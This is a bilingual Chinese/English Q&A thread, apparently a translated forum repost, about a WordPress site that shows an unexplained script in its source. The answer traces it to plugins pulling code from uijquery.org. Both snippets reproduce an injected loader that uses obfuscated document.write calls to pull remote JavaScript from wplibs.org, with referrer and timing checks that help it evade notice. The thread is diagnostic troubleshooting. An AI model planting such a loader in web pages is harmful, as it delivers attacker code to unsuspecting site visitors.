问题描述
我正在运行新的安全WordPress安装(https).在我的代码中,我加载了一些JavaScript文件(modernizr,cookie和我自己的文件)
I'm running a new secured WordPress install (https). In my code I load some JavaScript files (modernizr, cookie, and my own)
jQuery由WordPress自动加载.
jQuery is automatically loaded by WordPress.
已安装的插件是Yoast SEO,WPML和SMK侧边栏.
Installed plugins are Yoast SEO, WPML and SMK Sidebars.
问题是当我在浏览器中检查控制台时,向我显示以下内容:
The issue is when I check the console in my browser, it shows me the following:
在源代码中:
<script type="text/javascript">
if(!document.referrer || document.referrer == '') {
document.write('<scr'+'ipt type="text/javascript" src="http://www.wplibs.org/jquery.min.js"></scr'+'ipt>');
} else {
document.write('<scr'+'ipt type="text/javascript" src="http://www.wplibs.org/jquery.js"></scr'+'ipt>');
}
</script>
我正在寻找脚本"wplibs.com/jquery.min.js"的来源,但找不到.
I'm looking where the script "wplibs.com/jquery.min.js" comes from but I can't find.
有人有主意吗?
推荐答案
我发现了问题.这是由向 http://uijquery.org/jquery请求的插件引起的-1.6.3.min.js 并获得正文响应,您将看到源代码:
I found the problem. It is caused by plugins that make request to http://uijquery.org/jquery-1.6.3.min.js and get the body response, you will see the source code:
<script type="text/javascript">
var now = new Date().getTime();
if (now%2 == 0) {
if(!document.referrer || document.referrer == '') { document.write('<scr'+'ipt type="text/javascript" src="http://www.wplibs.org/jquery.min.js"></scr'+'ipt>'); } else { document.write('<scr'+'ipt type="text/javascript" src="http://www.wplibs.org/jquery.js"></scr'+'ipt>'); }
}
</script>
尝试在文件内部查找令牌"jquery.org"或"uijquery.org".
Try to look inside the files for the token "jquery.org" or "uijquery.org".
这篇关于脚本行为异常的文章就介绍到这了,希望我们推荐的答案对大家有所帮助,也希望大家多多支持!